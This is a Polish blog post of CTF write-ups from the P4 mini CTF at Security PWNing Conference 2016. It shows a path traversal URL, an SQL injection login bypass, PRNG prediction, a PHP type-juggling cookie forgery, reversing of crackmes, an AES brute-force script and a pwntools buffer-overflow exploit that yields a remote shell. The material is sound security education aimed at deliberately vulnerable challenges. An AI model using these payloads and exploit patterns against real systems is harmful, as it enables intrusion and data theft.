Security PWNing Conference 2016 oraz CTF od P4
Niedawno wróciłem z Security PWNing Conference 2016 organizowanej przez wydawnictwo PWN oraz Gynvaela Coldwinda. Z całą pewnością można powiedzieć, że to jedna z lepszych konferencji poświęconych tematyce bezpieczeństwa IT w Polsce.
Poza świetnymi prelekcjami, spotkaniem autorskim z autorami książki “Praktyczna inżynieria wsteczna”, lightning talkami (w tym i moim o unixowych wildcardach, który prezentowałem również na PyCon PL 2016), after party oraz escape roomem odbył się tam również indywidualny mini CTF (“czym są CTFy”) zorganizowany przez drugą najlepszą drużynę w Polsce (i obecnie 5. na świecie) - P4. Udało mi się zrobić 10 z 13 przygotowanych zadań i tym samym zająć pierwsze miejsce. Jako nagrodę wybrałem książkę “Praktyczna inżynieria wsteczna” i dzięki temu zdobyłem egzemplarz z autografami autorów (zamówiona wcześniej książką nie zdążyła dojść przed konferencją).
Sam CTF dostępny jest na stronie https://pwning2016.p4.team/ – nie wiem natomiast jak długo tam będzie. Wzięło w nim udział 38 osób, z czego 25 zrobiło przynajmniej jedno zadanie. Pełen ranking przedstawiam poniżej:
Poniżej zamieszczam writeupy z większości zadań.
Trawersujące koty (Web 50)
Opis: Na naszej hiperbolicznej mapie internetu znaleźliśmy tę mało znaną stronę z kotami. Warto się nią zainteresować, autor twierdzi że jest w posiadaniu flagi.
Screen
Rozwiązanie
Nazwa zadania oraz tekst na stronie sugerują, że mamy doczynienia z podatnością typu “path traversal”, która polega na niepoprawnej obsłudze ścieżek w programie.
Błąd znajduje się w mechanizmie wyświetlania poszczególnych zdjęć. Zdjęcia linkują do:
https://cats.pwning2016.p4.team/view.html?file=img/orange-and-white-cat-in-sunbeam.jpg
Jak się okazuje, parametr file nie jest odpowiednio walidowany po stronie serwera (np. poprzez sprawdzenie, czy bezwzględna ścieżka wynikowa znajduje się w katalogu, który ma przechowywać pliki dostępne dla użytkownika). W związku z tym wystarczy wyjść kilka katalogów do góry zmieniając parametr file:
https://cats.pwning2016.p4.team/view.html?file=../../../../../../../../home/cats/flag.txt
Uwaga: Tak naprawdę nie wiadomo w jakiej ścieżce na serwerze znajduje się wyświetlana strona internetowa. Z tego powodu, im więcej wykorzystamy
../tym większe prawdopodobieństwo, że faktycznie dostaniemy się do ścieżki bazowej/początkowej (/).
Co daje stronę o poniższym źródle:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>A cat!</title>
</head>
<body>
<center>
<img alt = "Embedded Image" src = "" />
</center>
</body>
</html>
Skąd widać, że prawdopodobnie kod po stronie serwera czyta obrazek, koduje go w base64, a następnie wrzuca do tagu img. Wystarczy zatem zdekodować base64 i w ten sposób otrzymamy zawartość pliku /home/cats/flag.txt. Można to zrobić na przykład wykorzystując interaktywną powłokę do języka Python - IPython:
In [1]: from base64 import decodestring
In [2]: decodestring 'cHdue2tvdHkuY3p5Lm5pZSx6YWRhbmllLnpyb2Jpb25lfQo='
Out[2]: 'pwn{koty.czy.nie,zadanie.zrobione}\n'
Moja pierwsza strona (web 50)
Opis: Znaleźliśmy panel na którym cyberprzestępcy chowają wykradzione przez siebie dane. Przeprowadź atak snajperski i dowiedz się jaką flagę wykradli hackerzy.
Screen
Rozwiązanie
Strona zawiera panel logowania, a tekst na niej sugeruje, że mamy do czynienia z podatnością SQL Injection. Kod po stronie serwera wykonujący zapytanie SQL może wyglądać podobnie do:
username = params['username']
password = params['password']
query = "SELECT username, password FROM users WHERE username='" + username + "' AND password = '" + password + "'"
db.execute(query)
Problemem w powyższym zapytaniu jest fakt dołączania wejścia od użytkownika (parametrów username, password) do zapytania bez ich escape’owania (np. zamiany znaku ' na \', tak, żeby silnik SQL nie potraktował tego znaku jako zakończenie filtru). Poprzez ten błąd, aby zalogować się, wystarczy podać username na admin oraz password na ' or '1'='1, co spowoduje wykonanie takiego zapytania:
SELECT username, password FROM users WHERE username='admin' AND password = '' or '1'='1'
Dzięki czemu zostajemy zalogowani na konto admina i dostajemy flagę:
Admin area
Congratulations, you did it , here is your flag pwn{5ql1njecti0nByp@ssMade4@5y}
Przy okazji - tego typu błędom można bardzo prosto zapobiec wykorzystując parametryzowane zapytania czy procedury. Niezłą opcją jest również wykorzystywanie ORMów.
Loteria flagowa (web 100)
Opis: Znaleźliśmy w internecie loterię flagową. W zgodzie z ustawą o grach hazardowych zostanie ona zaraz zablokowana, ale spróbuj przed zamknięciem wyciągnąć z niej flagę.
Screen
Rozwiązanie
Na stronie znajduje się link “server source”, który zwraca źródła aplikacji serwerowej napisanej w NodeJS:
var express = require("express");
var app = express();
var expressWs = require('express-ws')(app);
var fs = require("fs");
var flag = fs.readFileSync("../flag").toString();
app.use(express.static('.'));
app.ws('/', function(ws, req) {
var seed = new Date().valueOf() & 0xFFFFFFFF;
var rnd = betterRand(seed)
var userId = new Buffer(seed.toString()+","+rnd.next().value).toString("base64")
var numbers = Array.from(Array(6)).map(() => Math.floor(rnd.next().value * 89 + 10))
ws.on('message', function(msg) {
try {
var m = JSON.parse(msg.replace("'", '').replace("'", ''));
var resp = {"numbers": numbers}
if(JSON.stringify(resp.numbers) === JSON.stringify(m.numbers))
resp.flag = flag;
console.log(resp);
ws.send(JSON.stringify(resp));
} catch(err) { }
ws.close()
});
console.log("[*] Peer connected!");
ws.send(JSON.stringify({"userId": userId}))
});
console.log("[*] Listening on port 5555...")
app.listen(5555);
function* betterRand(seed) {
var m = 25, a = 11, c = 17, z = seed || 3;
for(;;) yield (z=(a*z+c)%m)/m;
}
Powyższy kod tworzy endpoint /, który podczas naszego wejścia na stronę wykonuje następujące rzeczy:
- Tworzy seed (z ang. ziarno; czyli stan początkowy dla generatora liczb pseudolosowych zaimplementowanego w funkcji
betterRand) na podstawie obecnego czasu:var seed = new Date().valueOf() & 0xFFFFFFFF;. - Tworzy obiekt generatora liczb pseudolosowych:
var rnd = betterRand(seed). - Tworzy identyfikator użytkownika -
userId- na podstawie seeda oraz pierwszej obliczonej wartości z generatora, a następnie kodowany jest kodowaniem base64:var userId = new Buffer(seed.toString()+","+rnd.next().value).toString("base64"). - Oblicza zwycięskie liczby dla danego użytkownika, poprzez “losowanie” (generowanie) kolejnych liczb z generatora
rndoraz wykorzystując proste operacje matematyczne:var numbers = Array.from(Array(6)).map(() => Math.floor(rnd.next().value * 89 + 10)). - Następnie rejestrowana jest funkcja, która wykona się gdy wyślemy liczby do loterii (jest to realizowane przez protokół WebSocket):
ws.on('message', function(msg) {...})- sprawdza ona czy wysłane liczby zgadzają się z tymi, które wcześniej wylosowano - jeżeli tak, to odpowiada flagą. - Wysyła do klienta JSONa z
userId:s.send(JSON.stringify({"userId": userId})).
Znajomość implementacji po stronie serwera oraz posiadanie userId pozwala nam na wykonanie tych samych obliczeń, które wykonywał serwer podczas generowania zwycięskich liczb dla naszej loterii.
Zróbmy zatem to samo - obliczmy zwycięskie liczby. W tym celu należy najpierw zdekodować userId i wyciągnąć wartość seed - można to zrobić np. w bashu:
$ echo MTIxNDc3MjA1NCwwLjQ0 | base64 -d
1214772054,0.44
Seed to 1214772054.
Następnie można zmodyfikować kod JS aby wygenerować liczby do loterii:
function* betterRand(seed) {
var m = 25, a = 11, c = 17, z = seed || 3;
for(;;) yield (z=(a*z+c)%m)/m;
}
var rnd = betterRand(1214772054);
// losujemy pierwszą liczbę, która była wpisana do userId
rnd.next();
// losujemy liczby do loterii
Array.from(Array(6)).map(() => Math.floor(rnd.next().value * 89 + 10))
Wykonanie powyższego kodu - np. w konsoli przeglądarki zwraca:
Array [ 56, 45, 17, 59, 84, 91 ]
Po wysłaniu tych liczb do loterii dostajemy flagę: Success! Your flag is pwn{U5e_M0ar_53cuR3_4and0m}.
Bulletproof login server™ (web 100)
Opis: Panel admina firmy Januszex z Randomia. Nie włamiesz się. Link. https://monk.pwning2016.p4.team Udało nam się znaleźć na śmietniku ich stary dysk twardy z którego odzyskaliśmy część kodu strony.
Screen
Część kodu strony
<?php
require('../auth_funcs.php');
ini_set('display_errors', 1);
error_reporting(E_ALL);
$auth = false;
if (isset($_COOKIE['remember_me'])) {
$obj = json_decode($_COOKIE['remember_me'], true);
if ($obj['login'] == 'demo' && $obj['token'] == getUserAuthToken('demo')) {
$auth = 'demo';
}
if ($obj['login'] == 'admin' && $obj['token'] == getUserAuthToken('admin')) {
$auth = 'admin';
}
}
if (!$auth) {
echo('Sorry, you are not authenticated :(<br>');
if (isset($_COOKIE['remember_me'])) {
echo('<pre>'.htmlentities(var_ex
Rozwiązanie
Błąd wynika z faktu wykorzystania operatora porównania == zamiast ===. Różnica między tymi operatorami w PHP jest dość dobrze opisana w tym temacie na StackOverflow.
Aby dostać flagę, należy zamienić w JSONie (który jest w ciasteczku remember_me) pole login na "admin" oraz pole token na true. Druga zmiana spowoduje, że string zwracany przez getUserAuthToken('admin') zostanie zrzutowany do typu bool (a niepusty string jest traktowany jako true) więc porównanie zwróci prawdę. Można do tego wykorzystać dowolne lokalne proxy (Burp Suite/Fiddler/ZAProxy) - tak zmodyfikowane żądanie wysyłamy do serwera i otrzymujemy flagę:
Crack me (re 50)
Opis: Ten program treningowy został stworzony jako test dla nowych cyberżołnierzy. Sprawdź czy jesteś w stanie podołać wyzwaniu. Pliki pobierz stąd.
Program zadania: crackme50.zip
Rozwiązanie
Zadanie jest binarką x86 (32-bitową) na platformę Windows:
$ file crackme.exe
crackme.exe: PE32 executable (console) Intel 80386, for MS Windows
Uruchomienie zadania prosi o flagę oraz pin:
λ .\crackme.exe
/*-------------------------------------------------*\
| PWNing CTF 2016 |
\*--------------------------------------------------|
| > Podaj flage i pin: qwe 123
| < Niestety, flaga jest nieprawidlowa
Po załadowaniu jej do Ida Pro można bardzo szybko zauważyć instrukcje porównania i wywnioskować, że flaga to pwn{cr4ck3dm3}:
Rex (re 100)
Opis: Otrzymałem od Dyrektora Internetu program sprawdzający czy podany tekst jest poprawną flagą. Niestety, nie jestem w stanie wykorzystać go do odzyskania flagi. Czy jesteś w stanie mi pomóc? Pliki pobierz stąd.
Program zadania: crackme100.zip
Rozwiązanie
W tym zadaniu również mamy doczynienia z binarką x86 - ale tym razem na Linuxa:
$ file rex32
rex32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2c270454cab6d2e913d9ac9b85aa0b55771b6b0a, stripped
Po zdekompilowaniu kodu i zrefaktoryzowaniu nazw (np. w Ida Pro) można dojść do takiego kodu w C:
int __cdecl main()
{
int result; // eax@11
int stack_canary_check; // ecx@11
char is_valid_pwd; // [sp+2h] [bp-76h]@1
int i; // [sp+4h] [bp-74h]@3
char password[100]; // [sp+8h] [bp-70h]@1
int stack_canary; // [sp+6Ch] [bp-Ch]@1
stack_canary = *MK_FP(__GS__, 20);
sub_80485AB();
printf("Password: ");
fflush(stdout);
scanf("%s", password);
is_valid_pwd = 1;
if ( strlen(password) != dword_804A038 )
is_valid_pwd = 0;
for ( i = 0; password[i]; ++i )
{
if ( *(_BYTE *)(i + 0x804A03C) != (unsigned __int8)sub_80486D9(password[i]) )
is_valid_pwd = 0;
}
if ( is_valid_pwd )
puts("Yep!");
else
puts("Nope!");
result = 0;
stack_canary_check = *MK_FP(__GS__, 20) ^ stack_canary;
return result;
}
Gdzie widać, że to co nas interesuje to odpowiednia długość hasła - zapisana w zmiennej globalnej pod adresem 0x804A038, która jest równa 26:
.data:0804A038 dword_804A038 dd 26
A następnie kolejne znaki hasła - porównanie związane z nimi odbywa się w linii:
if ( *(_BYTE *)(i + 0x804A03C) != (unsigned __int8)sub_80486D9(password[i]) )
Są one (kolejne znaki wprowadzonego hasła) przekazywane do funkcji sub_80486D9:
int __cdecl sub_80486D9(unsigned __int8 idx)
{
sub_80485D7();
return dword_804A080[idx];
}
unsigned int sub_80485D7()
{
int v0; // ST18_4@3
int v1; // ST1C_4@3
int v2; // ST1C_4@3
int v3; // ST18_4@3
int v4; // eax@3
signed int i; // [sp+4h] [bp-14h]@1
srand(seed);
for ( i = 0; i <= 255; ++i )
{
v0 = rand();
v1 = 123 * rand() & 0x1705;
v2 = rand() + v1;
v3 = (v2 ^ (v0 % 67 + 3453) ^ 0x355) % 435;
v4 = rand();
sub_8048802(
4
* ((unsigned __int8)(((unsigned __int64)(v4 + v3) >> 56) + v4 + v3)
- ((unsigned int)((unsigned __int64)(v4 + v3) >> 32) >> 24))
+ 134520960,
&dword_804A080[(unsigned __int8)(((unsigned __int64)v2 >> 56) + v2)
- ((unsigned int)((unsigned __int64)v2 >> 32) >> 24)]);
}
return seed++ + 1;
}
Funkcja sub_80486D9 wykorzystuje dany znak hasła jako indeks w globalnej tablicy dword_804A080. Analizując wywoływaną funkcję - sub_80485D7 (lub też sprawdzając w debugerze) można wywnioskować, że funkcja ta zamienia miejscem wartości w tablicy dword_804A080.
Kolejne wartości pobierane z globalnej tablicy (na podstawie znaków przekazanego hasła), są nastepnie porównywane - prawdopodobnie z inną globalną wartością - *(_BYTE *)(i + 0x804A03C).
Powyższe funkcje można by dogłębniej analizować lub/i napisać program łamiący hasło na ich podstawie. Osobiście wykorzystałem analizę dynamiczną - analizując kod asemblera znalazłem instrukcję porównania odpowiadającą linii:
if ( *(_BYTE *)(i + 0x804A03C) != (unsigned __int8)sub_80486D9(password[i]) )
Która znajduje się pod adresem 0x080487AD:
.text:08048797 call sub_80486D9
.text:0804879C add esp, 10h
.text:0804879F mov [ebp+var_75], al
.text:080487A2 mov eax, [ebp+var_74]
.text:080487A5 add eax, 804A03Ch
.text:080487AA movzx eax, byte ptr [eax]
.text:080487AD cmp al, [ebp+var_75] <---- interesujące nas porównanie
.text:080487B0 jz short loc_80
W rejestrze al znajduje się wartość z lewej strony porównania (*(_BYTE *)(i + 0x804A03C)) a w [ebp+var_75] wartość pobrana z globalnej tablicy.
Następnym zadaniem jest znalezienie wartości z rejestru al w globalnej tablicy (dword_804A080) - szukanie takie można zrobić wykorzystując polecenie find - tutaj dla pierwszego znaku hasła (w gdb program jest zatrzymany na instrukcji porównania - na 0x80487AD):
(gdb) find 0x804A080, +1024, $al
0x804a240
1 pattern found.
Następnie wyciągamy indeks z tej tablicy - to da nam znak hasła:
(gdb) print (char) ((0x804a240-0x804A080) / 4)
$3 = 112 'p'
Wykonując powyższe dla pozostałych znaków hasła (można to zrobić ustawiając breakpoint na instrukcji porównania oraz kontynuując program w celu przechodzenia do kolejnych znaków), dostajemy flagę - pwn{rc4_j3st_dl4_b13dnych}.
Niezłomne szyfrowanie 1 (crypto 50) oraz Niezłomne szyfrowanie 2 (crypto 50)
Opis 1: Dane na naszych dyskach magnetycznych zostały uszkodzone podczas wrogiego ataku DDoS. Odzyskaj klucz użyty do szyfrowania. Pliki pobierz stąd.
Opis 2: Dane na naszych dyskach magnetycznych zostały uszkodzone podczas wrogiego ataku DDoS. Odzyskaj iv użyty do szyfrowania. Pliki pobierz stąd.
Pliki zadania: crypto50.zip
Rozwiązanie
Zadanie to wymaga znajomości tego jak działa jeden z trybów pracy szyfrów blokowych - CBC (Cipher Block Chaining). Należy przeprowadzić atak typu brute force na klucz, a następnie IV:
from Crypto.Cipher import AES
from pwn import *
from string import printable
c = 'b4466001841be7d7d33021c1c644b808452f64ae22e7bbf36842331196b7991c'.decode('hex')
p = 'Is AES really so hard to break??'
tmp = xor(c[:16], p[16:])
def encrypt(plaintext, key, iv):
aes = AES.new(key, AES.MODE_CBC, iv)
return aes.encrypt(plaintext)
def possible_keys():
k = 'pwn{%s%s%s_s3cr3t!}'
for aaaa in printable:
for bbbb in printable:
for cccc in printable:
yield k % (aaaa, bbbb, cccc)
## CRACK KEY & IV
for key in possible_keys():
if encrypt(tmp, key, iv='\x00'*16) == c[16:]:
print "key =", repr(key), key, key.encode('hex'), 'is ok'
print 'iv =', xor(p[:16], decrypt(c[:16], key, iv='\x00'*16))
Uruchomienie skryptu zwraca klucz oraz IV, które są flagami:
$ python crack_aes.py
key = 'pwn{NS4_s3cr3t!}' pwn{NS4_s3cr3t!} 70776e7b4e53345f733363723374217d is ok
iv = pwn{what_is_iv?}
I’m going to space (stegano 50)
Opis: Przechwyciliśmy tę transmisję radiową za pomocą naszych dronów. Na pierwszy rzut oka wygląda jak nagranie z misji apollo 13, ale jesteśmy pewni że jest tu ukryte coś więcej.
Nagranie: apollo13.zip
Rozwiązanie
Flaga jest ukryta w spektrogramie. Spektrogram można zobaczyć wykorzystując na przykład program Audacity:
Nawias się musi zgadzać (pwn 150)
Opis: W ramach programu Nowoczesne Państwo uruchomiliśmy w klastrze cyberbezpieczeństwa usługę pozwalającą sprawdzić czy wyrażenie jest poprawnie onawiasowane. Sprawdź czy Twoje wyrażenia są poprawnie onawiasowane, i nie próbuj się włamywać, bo i tak Ci się to nie uda! Program jest do pobrania stąd.
nc pwning2016.p4.team 1337
Program: pwn150.zip
Rozwiązanie
Tym razem binarka jest x64 na Linuxa:
dc@dc:/media/sf_D_DRIVE/p4/pwn150$ file ./brackets
./brackets: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1a898791e079253916e3678874d6f13bd0054743, not stripped
dc@dc:/media/sf_D_DRIVE/p4/pwn150$ ./brackets
Enter expression to check:
((
Missing closing bracket!
dc@dc:/media/sf_D_DRIVE/p4/pwn150$ ./brackets
Enter expression to check:
))
Missing opening bracket!
dc@dc:/media/sf_D_DRIVE/p4/pwn150$ ./brackets
Enter expression to check:
()()
Correct!
A zadaniem jest… dostać dostęp do serwera. Po przyjrzeniu się w Ida Pro można zauważyć kilka rzeczy:
- Interesująca funkcja to
check_my_brackets- widać to wmain:
.text:00000000004006C7 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004006C7 public main
.text:00000000004006C7 main proc near
.text:00000000004006C7 push rbp
.text:00000000004006C8 mov rbp, rsp
.text:00000000004006CB mov edi, offset aEnterExpressio ; "Enter expression to check:"
.text:00000000004006D0 call _puts
.text:00000000004006D5 mov eax, 0
.text:00000000004006DA call check_my_brackets
.text:00000000004006DF mov edi, offset aCorrect ; "Correct!"
.text:00000000004006E4 call _puts
.text:00000000004006E9 mov eax, 0
.text:00000000004006EE pop rbp
.text:00000000004006EF retn
.text:00000000004006EF main endp
- Zadanie jest bardzo ułatwione - binarka zawiera funkcję
shell_meuruchamiającą/bin/sh:
.text:00000000004005F6 public shell_me
.text:00000000004005F6 shell_me proc near
.text:00000000004005F6
.text:00000000004005F6 envp= qword ptr -30h
.text:00000000004005F6 argv= qword ptr -20h
.text:00000000004005F6 var_18= qword ptr -18h
.text:00000000004005F6 path= qword ptr -8
.text:00000000004005F6
.text:00000000004005F6 push rbp
.text:00000000004005F7 mov rbp, rsp
.text:00000000004005FA sub rsp, 30h
.text:00000000004005FE mov [rbp+path], offset aBinSh ; "/bin/sh"
.text:0000000000400606 mov rax, [rbp+path]
.text:000000000040060A mov [rbp+argv], rax
.text:000000000040060E mov [rbp+var_18], 0
.text:0000000000400616 mov [rbp+envp], 0
.text:000000000040061E lea rdx, [rbp+envp] ; envp
.text:0000000000400622 lea rcx, [rbp+argv]
.text:0000000000400626 mov rax, [rbp+path]
.text:000000000040062A mov rsi, rcx ; argv
.text:000000000040062D mov rdi, rax ; path
.text:0000000000400630 call _execve
.text:0000000000400635 nop
.text:0000000000400636 leave
.text:0000000000400637 retn
.text:0000000000400637 shell_me
- Sama logika
check_my_bracketsnie jest bardzo skomplikowana - poniżej kod po dekompilacji i refaktoryzacji:
__int64 check_my_brackets()
{
__int64 result; // rax@9
char buf[112]; // [sp+0h] [bp-80h]@1
char *ptr; // [sp+70h] [bp-10h]@1
int missing_brackets; // [sp+7Ch] [bp-4h]@1
missing_brackets = 0;
gets(buf);
for ( ptr = buf; ; ++ptr )
{
result = (unsigned __int8)*ptr;
if ( !(_BYTE)result )
break;
if ( *ptr == '(' )
++missing_brackets;
if ( *ptr == ')' && --missing_brackets < 0 )
{
puts("Missing opening bracket!");
exit(1);
}
}
if ( missing_brackets )
{
puts("Missing closing bracket!");
exit(1);
}
return result;
}
Wykorzystywana jest tu niebezpieczna funkcja gets, która nie weryfikuje w żaden sposób, czy bufor do którego piszemy ma odpowiednio duży rozmiar. Dzięki temu możemy spowodować przepełnienie bufora (wpisać więcej znaków niż faktyczny rozmiar bufora buf) i nadpisać wskaźnik powrotu (zapisany adres kolejnej instrukcji, która jest po call check_my_brackets w funkcji main). W zadaniu brakuje też zabezpieczenia stack canary, co tylko ułatwia (i umożliwia) atak.
Ramka stosu powyższej funkcji wygląda następująco:
RBP-0x80 -> char buf[112] // 112 Bajtów
RBP-0x10 -> char *ptr; // 8 Bajtów
RBP-0x8 -> char __gap[4]; // 4 Bajty przerwy - IDA nie pokazuje jawnie tej zmiennej
RBP-0x4 -> int missing_brackets; // 4 Bajty
RBP -> <saved rbp> // 8 Bajtów - zapisany wskaźnik na początek ramki stosu funkcji main
<saved rip> // 8 Bajtów - zapisany wskaźnik powrotu
W prosty sposób można obliczyć, że aby nadpisać wskaźnik powrotu, należy podać 112+8+4+4+8 znaków, a następnie nową wartość wskaźnika powrotu. Oczywiście należy pamiętać, że zarówno ptr jak i missing_brackets muszą mieć odpowiednie wartości, tak aby program nie zakończył działania wykonując funkcję exit. W tym przypadku wystarczy je ustawić na 0 (funkcja gets nie kończy pobierania znaków, gdy dostanie bajt zerowy).
Exploit napisałem w języku Python wykorzystując niestandardowy moduł pwntools, a jego kod wygląda następująco:
#!/usr/bin/env python
#coding utf8
from pwn import *
host = 'pwning2016.p4.team'
port = 1337
r = remote(host, port)
#r = process('./brackets')
#print r.proc.pid
#pause()
shell_me_addr = elf.ELF('./brackets').functions['shell_me'].address
payload = '.' * 112 # buf
payload += p64(0) # ptr
payload += p32(0) # gap / przerwa 4B
payload += p32(0) # missing brackets
payload += p64(0) # saved rbp
payload += p64(shell_me_addr) # saved rip
r.send(payload)
r.interactive()
Co pozwoliło na zdobycie flagi:
dc@dc:/media/sf_D_DRIVE/p4/pwn150$ python crack.py
[+] Opening connection to pwning2016.p4.team on port 1337: Done
[*] '/media/sf_D_DRIVE/p4/pwn150/brackets'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[*] Switching to interactive mode
Enter expression to check:
................................................................................................................^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@�^E@^@^@^@^@^
$ ls
ls
brackets brackets.c exploit.py flag
$ cat flag
cat flag
pwn{b1n4ry_expl01t1ng}
$
[*] Closed connection to pwning2016.p4.team port 1337